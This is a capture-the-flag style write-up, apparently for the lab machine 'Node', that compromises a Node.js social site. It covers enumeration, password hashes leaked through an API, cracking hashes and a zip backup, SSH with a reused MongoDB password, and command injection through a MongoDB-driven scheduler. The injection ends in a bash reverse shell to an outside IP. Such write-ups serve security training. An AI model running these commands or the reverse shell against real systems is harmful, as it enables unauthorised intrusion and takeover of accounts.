Information Gathering
Nmap
Nmap finds port 22 and 3000 open on server:
sudo nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.58
Enumeration
HTTP - TCP 3000
The site looks like a social media site:
/login
path leads to login portal:
Each user’s profile is accessible through /profile/<username>
:
Directory Bruteforce
Directory bruteforcing is not able here because it all the attempts just redirects to home directory so everything is recognized as status code 200:
sudo feroxbuster -u http://10.10.10.58:3000 -n -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404
SQLi
SQLmap identified login portal to be not vulnerable:
sqlmap -r login-req.txt --dbs --batch
API Misconfiguration
In the Firefox dev tools, I can see the different JS files running on the client:
app.js was defining different routes for the website and each route had a different controller located in /controllers
route:
admin.js had two end points: /api/admin/backup
and /api/session
:
home.js had one end point: api/users/latest
Both of /api/admin/backup
and /api/session
endpoints returned {“authenticated”:false} when I tried to query them directly. However, /api/users/latest
show hash password for users tom, mark, and rastating (Unfortunately, none of them were admin users):
After spending some time, I discovered one more user(myP14ceAdm1nAcc0uNT)‘s password hash from /api/users
who is an admin user:
SSH as mark
Hash Cracking
Using crackstation, I can crack three passwords out of four, leaving out rastating’s password only:
- myP14ceAdm1nAcc0uNT:manchester
- tom:spongebob
- mark:snowflake
Backup
Using myP14ceAdm1nAcc0uNT’s credentials found above, I can now sign-in and download Backup:
myplace.backup is a long ASCII text:
I will base64 decrypt it since it seems to be base64 encrypted:
With it decrypted, it seems like a zip file:
Unfortunately, unzipping is requiring a password:
I will use zip2john to change the zip file to john crackable format:
Now I crack the password using john, which is magicword:
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hashes
Unzipping the file, now I have backup files of the myplace website:
After spending some time trying to understand how backup is made of, app.js shows password and a username for mongodb connection:
Luckily, user mark is reusing it’s password for SSH:
ssh mark@10.10.10.58
Privesc: mark to tom
There is three users on home directory:
As expected from earlier app.js, there is mongodb running locally on port 27017:
netstat -ano
MongoDB
Using the command below, I can sign-in to mongodb:
mongo "mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=SCRAM-SHA-1&authSource=myplace"
show collection
command shows earlier password hashes and usernames seen earlier:
Nothing much was found from mongodb, so I moved on to manual system enumeration.
Local Enumeration
Listing processes running on system, I see there are two processes being ran as user tom:
ps auxww
/var/scheduler/app.js
is something I didn’t saw before:
This is what app.js is doing above:
It imports necessary modules: child_process for executing shell commands (exec), MongoClient for interacting with MongoDB, ObjectID for creating MongoDB ObjectIDs, and sets up the MongoDB connection URL.
-
It establishes a connection to the MongoDB database specified in the url.
-
Inside the connection callback function, it sets up an interval function that runs every 30 seconds.
-
Within the interval function, it queries the tasks collection in the MongoDB database for documents and converts the result to an array of documents.
-
It iterates over each document retrieved from the tasks collection. For each document:
-
It logs a message indicating the task is being executed.
-
It executes the command specified in the cmd field of the document using exec.
-
It deletes the executed task from the tasks collection using deleteOne.
Reverse Shell
The vulnerability arises from the fact that the script executes shell commands (doc.cmd) without proper input validation or sanitization.
Command Injection: If an attacker gains access to the MongoDB database and can insert or modify documents in the tasks collection, they can potentially execute arbitrary shell commands on the system where the Node.js script is running.
Privilege Escalation: Since the script executes commands using the exec function from the child_process module, the commands will run with the same privileges as the user running the Node.js application. If the application is running with elevated privileges (e.g., as root), this could lead to privilege escalation.
I first sign-in to mongodb and list collection → there is tasks collection:
mongo -u mark -p 5AYRft73VtFpc84k scheduler
& show collections
I will see if I can create file inside of it using the commands below and It is confirmed that file can be created:
db.tasks.insert({"cmd": "touch /tmp/jadu"})
& db.tasks.find()
Now I can spawn a reverse shell using the command below:
db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.16.12/1337 0>&1'"})
On my local listener, I have a shell as user tom: